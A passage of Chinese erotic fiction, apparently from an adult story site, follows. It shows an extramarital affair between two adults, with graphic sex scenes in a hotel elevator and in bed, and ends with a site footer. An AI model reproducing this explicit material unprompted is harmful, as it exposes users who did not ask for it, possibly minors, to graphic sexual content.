进的刺激,紧张,喘息,想叫不能痛快叫的压抑,令柳玫很快就到达了愉悦顶点,
身体短暂僵硬,然后,渐渐无力地仰靠在邢力身上,任由他环抱着继续,继续,
嘶吼,喘息……邢力领着柳玫在母校转悠,感叹着母校的变化,也在物非人非的
景象里,辨认着指给柳玫看,在哪栋楼的哪个宿舍窗口看路过的漂亮女生,在哪
里跟初恋分手,指着橱窗里展示的优秀教师认出哪一个是他最欣赏和感谢的人,
如此具体的感受着邢力带来的身体之外的分享,柳玫有着无言的欢愉和感动,这
个夜晚,因为刚刚操场的纵情而肆意,也因为这样的牵手散步而温情。

时间在闲散里溜得很快,不知不觉已是深夜,校园里人迹渐少,两人才打车
回酒店。

说着话,下了车,走过大堂,快到电梯的时候,柳玫脚滑了一下,一时站不
稳,邢力赶紧伸手去扶,右手托着柳玫的右胳膊,左手去揽腰,情急中,竟托住
了臀部,这一托,惊了柳玫一身冷汗,刚刚在操场上偷欢,柳玫没带包,邢力翻
遍口袋除了钱包和手机,只拿出了随手塞进去的小内内,邢力要去买纸巾,柳玫
受不了那一股不断往下滴落的湿漉漉的感觉,想想夜色渐浓,裙子也及膝,就一
把扯过内内,搽干净自己,也给邢力弄干净,扔到了垃圾桶。刚才在校园里一圈
晃下来,习惯了下面空荡荡的感觉,倒也忘了没穿内内。可是,被邢力这一托,
裙子往上堆起,露出光溜溜的大腿,猛然一凉,赶紧站直,扯好裙子,心虚地看
看周围,还好,夜深了,没有其他等电梯的客人,松了一口气,一边的邢力则又
摸了一把柳玫的臀,坏坏的笑。

电梯下来了,没人,两人一前一后进了电梯,邢力在身后看着柳玫黑色一步
裙包裹着没有内内的臀,莫名来了冲动,低下头,搂着柳玫的腰便吻了起来,柳
玫被这突来的激情,撩拨得也兴奋起来,却还是清醒地推推邢力,指指电梯顶部
怕摄像头。可是,邢力却不放开,抱着柳玫挪了几步,避开探头,便轻轻翻转柳
玫身体,面朝电梯墙面,双手从领口探进,摸上了柳玫胸前不知是因为紧张还是
因为兴奋而喘息跳动的一对大白兔,这是柳玫的敏感点,本来还有些抗拒的柳玫,
被捻动着轻揉着开始配合,双手撑墙,弯腰,抬臀,邢力本来就一直隔着薄薄的
短裙在用他的坚挺不断的磨蹭着柳玫柔软的臀,柳玫一抬起没有内内的臀,邢力
只需轻轻推上裙子,便一杵到底,连根没入,这突然而至的胀满,让柳玫欢快地
啊出声来,一边又赶紧自己捂了嘴巴,担心地看着电梯数字,生怕有人进来,随
时做好提示铃一响就站直身子扯下裙子的准备。许是夜深了,竟,一直没有人进
来。

身后的邢力快速而有力的猛攻,一波波的愉悦加上心理止不住的紧张,令柳
玫有了一种异于平常的激动,迷乱的喊着:「快点,快点,再快点!」邢力分不
清这是想要快点结束,还是快点撞击,还是不自觉地加快了速度,柳玫不自禁地
抬臀去迎合邢力的撞击,一送一接,纹丝合缝,只探到底,配合得默契无比。终
于到了11搂,柳玫放心地松一口气,想回房间继续,谁知邢力却按着不让动,
一边继续挺动,一边伸手又按了21搂的键。

柳玫放下的心,重又回到了嗓子眼,伸手掐了一把邢力的大腿,骂:「天啦,
你这个流氓!」

邢力报复地伸手照着柳玫抬高的臀啪一巴掌,加大了冲刺的力度,问:「喜
欢流氓吗?」

柳玫终于受不了这紧张猛烈的刺激,呢喃着:「喜欢,喜欢,哦,来了,来
了……」身体像是被带上云端般飘飘然,在邢力低吼的宣泄后,又靠邢力的怀里,
慢悠悠地落了地,无力地喘息。

从开始到结束,有多久呢?一两分钟?甚或更短,可是,这来自身体与心理
双重冲击,就像七岁那年,第一次偷偷穿上妈妈的高跟鞋抹上口红美滋滋又心颤
颤地在镜子前转圈似的,让人竭力压抑着快要蹦出胸腔的心跳,又无比渴望这愉
悦能延伸,延伸,再延伸……这场对柳玫已有的体验里,最最最短的欢爱,竟让
她体验了从未有过的极速快感,和从未有过的虚软无力。

邢力支撑着柳玫无力的身体,以最快的速度给自己和柳玫整理好衣服,电梯
的提示铃响起,柳玫抬眼看去,不知邢力什么时候按的键,电梯竟又向上到了3
0层,门开了,没人,邢力伸手又按回了11……两个人躺倒在酒店的大床上,
身体倦累,却一时尚无睡意,邢力便探寻起了柳玫的过往情事。也很奇怪,当邢
力问起,柳玫最先想起的不是那个才算了的张之北,而是认识很久很久的郑西洋,
两人分分合合折腾了好些年。从网络搭讪开始到热情浓得化不开的时候,郑西洋
正被公司派往西北开发市场,两个城市隔得遥远,相见不易,好不容易有了一次
机会,还赶上柳玫大姨妈提前造访,床戏免了,倒有了一次真实亲近的相对,两
人也开心得像个孩子,牵着手在陌生的城市街头闲逛,相拥着在一张床上嬉闹,
一夜半天的贴近,在后来的无数个日子里不断地回味。后来的故事便有些俗套,
像所有在感情里任性的女子自尊的男子一样,很生气很生气的时候,柳玫拉黑了
郑西洋的Q,又找回来,理由是:舍不得就这么丢了。后来柳玫又被郑西洋删除
了,理由是:生气呢不想说话看见了柳玫在会忍不住。来来回回好几年,联系勤
了,少了,又勤了,又少了,感情浓了,淡了。又浓了,又淡了,后来,郑西洋
调回省城总公司,距离近了,相见却一样很难,难的不是距离,而是郑西洋和柳
玫彼此都少了一种热切,少了那种如果不是刚好有机会出差或旅行,断不会专门
相约见面的热切。柳玫明白,这是感情的时过境迁。那么,就顺其自然,浓淡由
心吧。

本来这次来省城培训,柳玫还想如果有时间是不是该约郑西洋见一见,邢力
一来,这念头早被惊喜挤跑了。现在邢力问起过往的情事,柳玫又想起了郑西洋,
还有郑西洋的那句话:「即使在婚外的游离里,男人也希望自己是女人婚外的第
一次经历。」

都说,女人总是希望自己是男人最后一个女人,男人总是希望自己是女人的
第一个男人。柳玫自然不能说邢力是自己的第一次,至少邢力知道不夜天,从不
夜天那里,也许还知道些其他,就算不夜天不会随便说,如邢力般举重若轻拿捏
得当懂得进退的男人断然可以看出这个自己口口声声呼着「小妖精」的女人肯定
不是一个男人炼成的。

男人也是矛盾的,单纯简单的女子自然是一门心思投入恨不得遮了男人的眼
从此心里只放她一个,这样的女子,往往让男人怕了退了躲了;哪一个风情万种
风骚入骨又收放自如的女子不是历经一段一段的情感磨砺才能从最初的内心纠结
到后来的看轻从容淡然?这样的女子,常常又让男人眼里着迷心里看轻了的。

柳玫不知道邢力是怎样的男人,但是,却记得了郑西洋的话,于是,嬉笑着
挑拣着说一些这些年的经历回答邢力,邢力不时扒着指头插一句:「嗯,初恋,
一个,嗯,老公,两个了,小李,三个了,啊,一夜情,四个,加上我,五个了
……」

声音里,竟是愈来愈兴奋,柳玫再次确认,这真的是个喜欢绿色帽子的异类。

柳玫不满道:「小爸爸,你太不给面子啦,好歹装个吃醋的样子嘛。」

邢力笑说:「好宝宝,那是以前的事啊。为什么要吃醋?」

柳玫追问:「那以后呢?」

邢力答:「以后爸爸给你找啊,老三怎么样?还想再来一次么?」

柳玫莫名的烦躁起来:「不要!不喜欢!我自己找我喜欢的!」

邢力叹口气,摸摸柳玫的头发,说:「宝贝,你是自由的,专一不是要求来
的,再说我很快又要走了,不能常陪你,怎能自私地限制你?」

柳玫不语,邢力的话听起来是宽容大度的,听在柳玫耳朵里,却有着说不清
的失落。人的心里是微妙的,整天的盯着问着查着会觉得被束缚不自由想挣脱,
而邢力这样,柳玫又不禁想因为不在乎才如此想得开吧?倒不如老公在情浓时分,
恶狠狠地警告:「你要敢出去偷吃,我就杀了你!」听起来毫无浪漫而言,可是
这一览无遗的独占欲却激起了心底的甜蜜。

电视里正放着那个有关奶茶的广告,柳玫学着那个女孩的神态问邢力:「那,
我是你的什么?」

邢力笑着回答:「你是我发现的宝啊,你知道吗?我都好几年没有这样充满
激情的感觉了。」

柳玫想起不夜天说过跟邢力一起有过几次三人,挑着眉看邢力:「是么?跟
小李一起出去三人的时候也不激情?」

邢力捏了一下柳玫的鼻子,笑道:「宝宝,那就是个打桩机的活啊,吭哧吭
哧干完活,走人。又不是自己女人,当时爽了,过后都没回味啊」

柳玫看邢力一副得了便宜还卖乖的流氓样,忍不住伸脚去踹,却被邢力一把
抓住,在脚心轻轻的挠,惹得柳玫大喊饶命,一场午夜床战又开始了……淡然从
容,是老男人的好,却又不免让柳玫保留清醒,多了理智,少了不管不顾投入的
冲动,却也有想念牵挂,只爱一点点,更多是依恋……第一次在老公之外男人的
怀抱里入眠,柳玫有些不太习惯,终究,抵不过折腾一天的疲倦,在邢力微微的
鼾声里,也渐渐睡着了。

这一觉睡得很沉,香甜,晨曦的微光里,柳玫被身体里的异样唤醒,那是一
双大手在胸前的游移、捻动、轻捏、硬邦邦的家伙在身后磨蹭、探入、挺动,动
作很轻柔,带着调皮的挑逗,这让半梦半醒的柳玫有些不满的往后贴近,想要那
坚硬探得深些、再深些、更深些、冲散身体里那一团莫名腾起的火苗。

邢力侧躺着,配合的把柳玫的左腿拉起,搭到自己大腿外侧,往前顶了顶,
柳玫便像一只慵懒的猫咪轻轻舒展了身体,舒服地嗯了一声,又向后往邢力的怀
里贴近了一些,仿佛口渴地伸出舌尖舔了舔双唇,邢力有些受不了柳玫这无意挑
逗却诱惑无比的来自身体本能的反应,不由得使上劲一进一出推送起来,猛一顶
送,柳玫终于睁开双眼,看着被清晨微光照亮的窗帘,晕染的抽象花朵显出漂亮
的轮廓,刹那的恍惚,渐渐意识到这是邢力的房间,跟邢力在一起,看着胸前紧
握浑圆的大手,便使劲掐了一把,邢力啊地呼痛,问:「好疼,干吗掐我?」

柳玫侧过脸,吻了一下邢力从身后探过来质问的唇,调皮地说:「喊痛了啊,
那就不是春梦了呢。」

邢力哭笑不得地轻咬一下柳玫的唇:「小坏蛋,睡着了都那么主动的迎合发
骚」

柳玫不好意思地撒娇:「我以为做梦嘛,不爽白不爽,谁知紧要关头还是醒
了。」

邢力哈哈笑,又用力顶送了几下,问:「那到底是醒了好,还是不醒好呢?」

柳玫伸手摸了一把两人身体连接处的大家伙,嬉笑着:「只要有它在,都一
样,一样。」

邢力爱怜地揉一揉柳玫的咪咪,叹道:「真是我的骚宝贝儿啊。」在身后用
力的冲刺起来……果然,一日之计在于晨啊,清晨的欢爱也不少,但这样从熟睡
中意识朦胧间,身体先被唤醒却少之又少,柳玫喜欢这样的morningca
ll。

冲洗完,柳玫看看时间,才不到七点,离九点培训还早,两人又腻在一起,
有一搭没一搭的说着话。

柳玫问:「你夜不归宿的,她不查岗?」

邢力笑:「查啊,一早我就是被她电话吵醒的,问我家里电话怎么没人接,
你睡得跟个小猪似的,都没听见吧?」

柳玫好奇:「你编了什么不在岗的理由呀?」

邢力不屑:「我可不撒谎,我说我跟别的女人一块睡觉呢,没空接。」

柳玫不信:「你就编吧。」

邢力认真的说:「我真这么说的,她倒不信呢,问我是不是又被石头拉着上
他家打牌喝酒了,哦,石头是我一发小,吃喝嫖赌全占,但是特仗义特哥们儿,
我喜欢实诚的人。可我媳妇不爱我跟他一块玩,怕被带坏了。」

柳玫笑:「就你,不带坏别人就不错了,还怕被别人带坏呀、」

邢力也笑:「媳妇眼里我可真是好男人,只要我休假回来,白天做饭打扫接
送孩子,晚上按摩捶背加操练,什么都不让她干的。」

柳玫问:「这么恩爱美满的,那你出来还折腾什么呀?」

邢力叹口气说:「她需求太少,我真吃不饱。年轻时候总是腆着脸主动求着
弄,后来,说动她*****过几次,再后来,她又不愿意参加了,说没意思,别
的男人还没自己老公弄得舒服,何必折腾。现在对我也就是默许的态度,不查不
问,其实我做得也不过分。你也许不信,其实男人啊到了我这个年龄,即使饿着,
宁愿自己弄,也还是想挑自己喜欢的那一口才吃。」

柳玫摩挲着邢力的手:「好嘛,俩个吃不饱的人凑一块了,绝配啊。」

邢力爱怜地吻吻柳玫额头,鼻尖,嘴唇……看邢力似乎又来劲了,柳玫笑:
「小爸爸,你怎么这么精力旺盛啊,白天晚上的折腾,你都不累呀?」

邢力自豪地说:「可能跟我一直健身有关系吧。以前腹肌很漂亮的哦。这两
年要管的事多了,锻炼得也少了些,没有天天坚持,不过比同龄人还是强些。」

柳玫伸手去摸摸邢力的小腹,腹肌已经不太明显了,但是还是能够感觉得到
挺紧实的。琢磨着:「看来回去有必要给我老公办张健身卡呀。」

邢力哈哈笑,说:「你这个小妖精,就想着祸害男人,你是不仅祸害身体,
还往人心里钻。」

柳玫挑眉:「是么?」

邢力说:「像个小蛇一样,总是钻得人心里痒得不行不行的了。」

柳玫似笑非笑地问:「有么?」

邢力摸摸柳玫的长发,突然很感慨地说:「昨晚你问我你是我的什么,我不
知道怎么回答你才合适,你想听到的是什么?情人?宝贝?女儿?好像都不合适,
男人和女人,太近了便容易嫉妒要求独占,甚至会有欺骗和隐瞒,然后猜疑别扭,
太累。我希望跟你像朋友一样,结伴体验,分享艳遇,倾诉心情,完全坦诚,快
乐就好!你该明白,自然是心里有你,才总想见你的。不然,何苦追了你这么远
来?」

柳玫了然的笑,这个道理自然是明白的。想想,真的没必要钻了牛角尖,只
管随了自己的心去,不为难自己,只要自己还想对他温柔体贴娇羞依人腻腻歪歪
的时候就尽情的温柔体贴娇羞依人腻腻歪歪吧。成年的男人和女人,初次的新鲜
之后,还会思念缠绵,还想要身体,也是与爱有关的吧,或者说,跟成人的爱有
关。经历过后的成年人,很清楚自己想要的是什么,很清楚自己喜欢做什么,想
要做什么。如今的社会,选择那么多,若不用心,不见得会一要再要。毕竟,对
于成年人来说,那也是一桩费时费力费神费钱的体力活呢。

似乎,这也不单是女人的问题,也成了一种有趣的普遍现象:在规矩刻板的
日常生活里,我们总是希望偶尔点缀一些出格的小调笑;在肉欲欢爱的婚外暧昧
里,我们又期待看到用心用情的爱的痕迹。人心,总喜欢发现点儿不足去苦恼,
能看到不足是一种成长,如果,能发现不足,但又能不为此苦恼,才是真正的成
熟淡定。

看看时间,柳玫亲亲邢力,恋恋不舍地离开温暖的怀抱,赶紧起身回房,要
赶在同事喊她早餐前换一身衣服,装扮一下。

邢力问:「宝贝,大好的时光,你就准备让我一个人独守空房?」

柳玫光溜溜的腿直接穿上短裙,蹬上高跟鞋,说:「你再休息一会,我帮你
叫早餐到房间,今天第一天,总要去看看什么情况,你休息好了给我短信,我保
证召之即来。」

回身去抱邢力,说:「来,一个kissgoodbye。」

邢力美滋滋地笑纳,想了想说:「那我好好想想,怎么给你一个surpr
ise」

柳玫没有等到邢力的惊喜,却先收到了他告别的短信:「宝贝儿,不能陪你
了。家里打电话说老太太下楼摔倒了,在医院,我得回去,已经订了票。」

柳玫悄声跟同事交待几句,悄悄从侧门溜出了会议厅。

房间里,邢力已经收拾好,正换鞋准备退房。

柳玫歉意地问:「严重么?你们两口子都不在家,老太太有人照顾不?」

邢力拍拍柳玫的脸,说:「没事,我哥我姐在呢,说不太严重,就是年纪大
了,要在医院观察两天。就是不能陪你了啊。」

柳玫稍稍心安,抱了抱邢力,说:「几点车票?我送你去车站。」

邢力说:「早呢,还有一个多小时呢,从这到车站步行不过半小时。」

柳玫提议道:「那就步行吧?反正你也没行李。」

在不属于自己的城市,两人多了些无所顾忌,从酒店出来,手牵着手,沿着
街道,朝车站慢慢走,初秋煦暖的阳光,从树叶的缝隙见落下来,洒在身上,一
样温暖,又多了几分莫名的情愫。柳玫仰头看邢力,却发现邢力正盯着自己看,
有些不好意思地问:「怎么了?」

邢力坏笑着耳语:「第一次看你穿衣服的样子,感觉有点不一样呢。」

柳玫笑着一拳轻打过去:「第一次看阳光下的样子吧,说得好像见你这么多
次我都裸奔来着。」

柳玫理解邢力所说的不同,两人的见面大多是在酒店房间里,每次见,都觉
得时间过得太快,几乎都是激情澎湃,总也要不够似的身体与身体的厮缠,第一
次,在明媚的阳光里这么恬淡无欲的牵手,微风吹散了身体纠缠的氤氲情欲,阳
光融化了昏黄光线下的暧昧孟浪,行走子人群里,自然多了一些平日不曾体会到
的感受,就像是一对彼此熟悉又信任的老朋友那样,可以开着不计较分寸的玩笑,
也可以说说孩子工作。

邢力要检票了,紧紧的拥抱了柳玫,说:「很抱歉,本想再陪你一天的。」

柳玫没觉得有什么遗憾或失落,应该走的,如果这个男人不着急走,柳玫也
不会踏实开心,所谓闲情逸致,自然是闲了,安逸了,才有心情和兴致。

邢力玩笑地说:「你还得待好几天呢,培训的人里,来场艳遇。」

柳玫笑笑:「也许,看缘分。」

不保证专一,不说虚无的誓言,也许真就没有更合适的人出现,自然就成就
了专一。柳玫渐渐体会到邢力说的做朋友,一对特别的朋友,少了情人的嫉妒心,
多了朋友的无间,也许,可以更长久和从容吧。

这样的情感,有人说爱得很外围,爱得很感官,甚至,爱得很身体。当然,
如果非要剔除在一起时的那些美好感受,从本质上看,就是如此吧。然而,只要
说爱的时候,不为物质不为权利,只为心里真实的欢喜和冲动,便就是纯粹的爱
着了,只不过,这份爱里,不包括责任,成人的爱,自己负责自己,便好。

都说,婚姻就像一件厚棉衣,穿在身上,少了一些活动的自由空间,却多了
温暖。对柳玫来说,有体贴的老公有可爱的孩子,就这样沿着自己的生活轨迹,
冷暖自知地朝前行进,偶尔,有了闲情逸致时,能跟邢力的轨迹有一些些的愉悦
交汇,这已足够奢侈。
  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]